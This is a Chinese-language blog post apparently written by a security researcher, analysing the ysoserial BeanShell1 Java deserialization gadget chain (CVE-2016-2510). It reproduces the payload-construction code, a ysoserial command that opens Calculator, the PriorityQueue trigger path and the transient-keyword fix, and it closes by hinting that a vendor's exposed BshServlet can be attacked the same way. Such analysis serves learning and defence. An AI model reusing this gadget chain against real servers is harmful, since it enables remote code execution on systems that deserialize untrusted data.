ysoserial-beanshell

0x01 概述

这一年来学习Java相关知识,然后我发现了网上绝大多数人分析Java反序列化时候都是从 commons-collections 入手,但是我当初搞懂这个时候真的花了快一个月的晚上时间,太难了。

ysoserial 这个是一个伟大的反序列化利用工具集,当初学习时候就想着把里面的每个payload都拿出来看看,了解漏洞原理,了解为什么这么构造。

0x02 环境搭建

环境搭建很简单

1
2
3
4
5
6
7
//pom.xml
<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>

这里提一个题外话,如果新手不知道如何pom文件里面的 groupIdartifactId 是什么的时候,可以在这里进行搜索,然后随便点一个版本进来就知道了。

image-20191218111208071

然后自己写一个反序列化方法就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//Deserialize.java
import java.io.*;

public class Deserialize{
public static void main(String args[]) throws Exception{
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("/Users/l1nk3r/Desktop/test.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
Object objectFromDisk = (Object)ois.readObject();
ois.close();
}
}

//Object.java
import java.io.IOException;
import java.io.Serializable;
class Object implements Serializable{
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
}
}

0x03漏洞复现

1
java -jar ysoserial-master-55f1e7c35c-1.jar BeanShell1 "open /System/Applications/Calculator.app" > test.txt

image-20191218111300749

0x04 利用链构造分析

构造之前实际上Beanshell这个东西支持按照Java语法动态执行Java代码。

image-20191219135048470

这部分是 BeanShell1 利用的核心部分

image-20191218122041038

我们拆开来看,首先把命令拼接之后交给 eval 进行执行。

1
2
3
4
5
6
7
8
9
10
11
12
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

通过反射方式取出一个,取出XThis的成员变量invocationHandler。在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)、另一个则是Proxy(Class),这一个类和接口是实现我们动态代理所必须用到的。

1
2
3
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

下面其实需要细细品一下,主要是有一个关键部分是 PriorityQueue

1
2
3
4
5
6
7
8
9
10
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;

在这个项目里遇到了挺多利用这个来构造利用链的,跟进一下PriorityQueue,实际上这个类当中也有实现readObject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

整个调用过程简化一下就是 heapify=>siftDown=>siftDownUsingComparator=>comparator.compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@SuppressWarnings("unchecked")
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

所以简单来说到这里实际上能理解这个POC为什么这么写了。通过把命令执行部分封装成 compare 函数,通过反射获取的 invocationHandler 把通过动态代理的方式构造成 Comparator 的对象,然后再把这个对象甩给 PriorityQueue 中的 comparator 对象。最后在反序列化 PriorityQueue 过程中当流程走到comparator.compare的时候,会进入 Handler 中的 invoke 方法:

image-20191219140312159

invokeImpl 方法中会判断一些方法名不等于toString,然后就会调用 invokeMethod 方法。

image-20191219140424250

最后会根据 compare 获取到我们刚刚创建的 compare 方法部分。

image-20191219140700881

自然会触发相关利用代码,真的是妙啊。

image-20191218130508919

0x05 漏洞修复

漏洞修复实际上就是在 invocationHandler 中加上 transient 这个关键词的屏蔽,导致了在动态代理过程中没办法跳到我们的利用链。

image-20191218131025891

0x06 小结

小结一下就是这个洞构造过程中利用动态代理以及 PriorityQueue 过程中调用方法,最后构造出一条有趣的利用链,而解决方式也很简单粗暴,增加一个 transient 关键字。

PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法,反序列化过程中可以考虑拿这个作为跳板。

0x07 后话

某微之前的 BeanShell RCE 的问题实际上和这个有点像,也有点不一样,本质上是因为 bsh.servlet.BshServlet 是支持通过网页的方式写入代码执行调试。但是某微采用 resin 作为中间件,并且配置了一条这个

1
2
3
<web-app id="/" root-directory="xxxx">
<servlet-mapping url-pattern='/xxx/*' servlet-name='invoker'/>
</web-app>

这个的作用就是只要你访问www.test.com/xxx/com.test.test,只要这个com.test.test能够处理Servlet请求,就如下面这个代码一样,就能够触发了。

1
2
3
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}

所以这也解释了为什么这个 bsh-2.0b5.jarresin 的lib目录下也能够利用的问题了,当然某微也有反序列化,也能用这个payload打,话就说这么多了。

Reference

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2510